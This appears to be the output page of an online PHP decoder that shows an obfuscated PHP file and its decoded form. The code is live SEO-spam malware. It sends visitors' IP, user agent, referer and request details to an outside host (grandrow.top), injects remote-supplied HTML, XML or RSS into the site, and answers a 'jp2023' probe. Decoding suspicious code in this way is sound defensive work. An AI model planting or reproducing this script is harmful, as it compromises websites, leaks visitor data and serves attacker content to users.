Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_REPoRtinG((0753+01331-0400+-0563)-(-02145+-02571+0340+03370)-(03410-02313+0103..
Decoded Output download
<?php error_REPoRtinG((0753+01331-0400+-0563)-(-02145+-02571+0340+03370)-(03410-02313+01032));heAdeR("Content-Type: text/html; charset=utf-8");$_hcgogeop=bASe64_ENcOdE(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_qejxviy=bAsE64_EncOdE(@$_SERVER["REQUEST_URI"]);$_zzjg=@$_SERVER["HTTP_HOST"];$_spkkwcfc=Base64_eNCoDE(@$_SERVER["HTTP_USER_AGENT"]);$_vwpd=baSE64_enCOde(@$_SERVER["HTTP_REFERER"]);$_noyb=BASE64_eNcoDE(@$_SERVER["REMOTE_ADDR"]);$_cthdj=bASE64_ENcODe(dAte_DeFaULT_TimeZone_GET());$_gujsqkn=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https"))?"https://":"http://";$_boynbp="https://fgm187.grandrow.top";$_plhz=BaSE64_EnCOdE($_gujsqkn.$_zzjg);$_krfbtjka=$_boynbp."/index.php?domain=".$_plhz."&uri=".$_qejxviy."&lan=".$_hcgogeop."&agent=".$_spkkwcfc."&zone=".$_cthdj."&ip=".$_noyb."&goweb=".$_boynbp."&referer=".$_vwpd;$_ajdiwl=_nldcplyh($_krfbtjka);if(striPos($_SERVER["REQUEST_URI"],"jp2023")!==false){echo$_zzjg.":cs187-ok;";exit();}if(stRstr($_ajdiwl,"[#*#*#]")){$_cjlsuk=EXploDE("[#*#*#]",$_ajdiwl);if($_cjlsuk[(int)ROund(0+0)]=="echohtml"){echo$_cjlsuk[(int)rOuND(0.33333333333333+0.33333333333333+0.33333333333333)];exit;}if($_cjlsuk[(int)ROuND(7.5+7.5)-(-0215+0234)]=="echoxml"){Header("Content-type: text/xml");echo$_cjlsuk[(int)RouNd(36+36+36+36)+(int)ROuNd(-35.75+-35.75+-35.75+-35.75)];exit;}if($_cjlsuk[(int)ROund(0+0+0+0)]=="echorss"){HEadEr("Content-type: text/xml");echo$_cjlsuk[(-0136- -0317)+(-0554+0374)];exit;}if($_cjlsuk[(int)rOunD(0+0+0)]=="pingxml"){$_kbtgyk=eXPLOdE("|||",$_cjlsuk[(int)RouND(0.5+0.5)]);foreach($_kbtgyk as$_etxwmlf){$_gqwja=_nldcplyh($_etxwmlf);$_phyqe=(STRpOS($_gqwja,"Sitemap Notification Received")!==false)?"OK":"ERROR";echo$_etxwmlf."===>Sitemap: ".$_phyqe."<br>";}exit;}}function _nldcplyh($_kzxjhq){$_ajdiwl=@file_get_ContENts($_kzxjhq);if(!$_ajdiwl){$_icdttj=CURL_inIT();CUrL_SETOpT($_icdttj,(int)RoUnD(3378.6666666667+3378.6666666667+3378.6666666667)-(022404-022344+022731+060)+(int)round(3211.6666666667+3211.6666666667+3211.6666666667),$_kzxjhq);cURL_setoPt($_icdttj,(int)RouND(27+27+27),(int)rOuND(0+0+0+0));cURl_SetOPt($_icdttj,(int)ROunD(21.333333333333+21.333333333333+21.333333333333),(int)ROunD(0+0+0));curl_seTOpT($_icdttj,(int)rOuNd(4978.25+4978.25+4978.25+4978.25),(int)ROunD(0.25+0.25+0.25+0.25));$_ajdiwl=CUrl_exeC($_icdttj);cURl_cLose($_icdttj);}return$_ajdiwl;};
?>
Did this file decode correctly?
Original Code
<?php error_REPoRtinG((0753+01331-0400+-0563)-(-02145+-02571+0340+03370)-(03410-02313+01032));heAdeR("C\157n\164en\x74\x2d\124\171p\x65:\x20t\x65\x78t\057\x68tml\x3b\x20\x63h\x61\162\x73et\x3dut\146-\070");$_hcgogeop=bASe64_ENcOdE(@$_SERVER["\110\x54\124P\137\101C\103\105PT_\x4c\x41\x4eG\125A\107\105"]);$_qejxviy=bAsE64_EncOdE(@$_SERVER["REQ\125ES\124\137\x55RI"]);$_zzjg=@$_SERVER["HT\124P_\x48OS\x54"];$_spkkwcfc=Base64_eNCoDE(@$_SERVER["\x48T\x54P\x5fUSER_\x41\x47\x45NT"]);$_vwpd=baSE64_enCOde(@$_SERVER["\110TTP_REFERE\122"]);$_noyb=BASE64_eNcoDE(@$_SERVER["\x52EMO\x54E_\x41\x44\x44R"]);$_cthdj=bASE64_ENcODe(dAte_DeFaULT_TimeZone_GET());$_gujsqkn=((isset($_SERVER["\110TTPS"])&&$_SERVER["HTT\120S"]=="\157n")||(isset($_SERVER["HTT\x50_\x58\137\106O\122\127ARDED_\120R\117TO"])&&$_SERVER["HT\x54\120\x5f\x58_FOR\x57AR\x44ED_\x50\122O\x54O"]=="\150ttps"))?"htt\x70s:\057\x2f":"ht\x74p:/\057";$_boynbp="http\163\x3a\x2f/\x66\147\x6d1\x387\x2egrandrow.top";$_plhz=BaSE64_EnCOdE($_gujsqkn.$_zzjg);$_krfbtjka=$_boynbp."/\151nde\170.php?\x64o\x6da\151\156\x3d".$_plhz."\046uri=".$_qejxviy."&l\x61n\075".$_hcgogeop."&agen\x74=".$_spkkwcfc."\046zo\x6ee=".$_cthdj."&i\x70\x3d".$_noyb."&\x67\x6fw\145b\075".$_boynbp."&r\145\146\145re\162=".$_vwpd;$_ajdiwl=_nldcplyh($_krfbtjka);if(striPos($_SERVER["RE\121U\105S\x54_\125R\111"],"jp\x32\0602\x33")!==false){echo$_zzjg.":cs187\x2do\153;";exit();}if(stRstr($_ajdiwl,"\133#\052\043\x2a#]")){$_cjlsuk=EXploDE("[\043\x2a#\x2a\x23]",$_ajdiwl);if($_cjlsuk[(int)ROund(0+0)]=="\x65c\x68\157ht\155\154"){echo$_cjlsuk[(int)rOuND(0.33333333333333+0.33333333333333+0.33333333333333)];exit;}if($_cjlsuk[(int)ROuND(7.5+7.5)-(-0215+0234)]=="\145\x63\x68\x6fxm\x6c"){Header("\x43\x6fn\164\x65nt-\x74\x79pe:\x20t\145x\164/x\155\x6c");echo$_cjlsuk[(int)RouNd(36+36+36+36)+(int)ROuNd(-35.75+-35.75+-35.75+-35.75)];exit;}if($_cjlsuk[(int)ROund(0+0+0+0)]=="e\x63h\x6fr\163s"){HEadEr("Co\156ten\164\x2dty\x70\x65:\x20t\x65\170\164/xm\x6c");echo$_cjlsuk[(-0136- -0317)+(-0554+0374)];exit;}if($_cjlsuk[(int)rOunD(0+0+0)]=="p\x69\x6eg\170ml"){$_kbtgyk=eXPLOdE("||\174",$_cjlsuk[(int)RouND(0.5+0.5)]);foreach($_kbtgyk as$_etxwmlf){$_gqwja=_nldcplyh($_etxwmlf);$_phyqe=(STRpOS($_gqwja,"\123it\145map \116o\164\151f\151\143\141\164\x69o\156 \x52eceiv\x65d")!==false)?"OK":"ERR\x4fR";echo$_etxwmlf."\x3d\075=>\x53ite\155ap: ".$_phyqe."<b\x72\x3e";}exit;}}function _nldcplyh($_kzxjhq){$_ajdiwl=@file_get_ContENts($_kzxjhq);if(!$_ajdiwl){$_icdttj=CURL_inIT();CUrL_SETOpT($_icdttj,(int)RoUnD(3378.6666666667+3378.6666666667+3378.6666666667)-(022404-022344+022731+060)+(int)round(3211.6666666667+3211.6666666667+3211.6666666667),$_kzxjhq);cURL_setoPt($_icdttj,(int)RouND(27+27+27),(int)rOuND(0+0+0+0));cURl_SetOPt($_icdttj,(int)ROunD(21.333333333333+21.333333333333+21.333333333333),(int)ROunD(0+0+0));curl_seTOpT($_icdttj,(int)rOuNd(4978.25+4978.25+4978.25+4978.25),(int)ROunD(0.25+0.25+0.25+0.25));$_ajdiwl=CUrl_exeC($_icdttj);cURl_cLose($_icdttj);}return$_ajdiwl;};
?>
Function Calls
error_REPoRtinG | 1 |
Stats
MD5 | b50ac2bb0a2057f0ac4e02aff537e23c |
Eval Count | 0 |
Decode Time | 70 ms |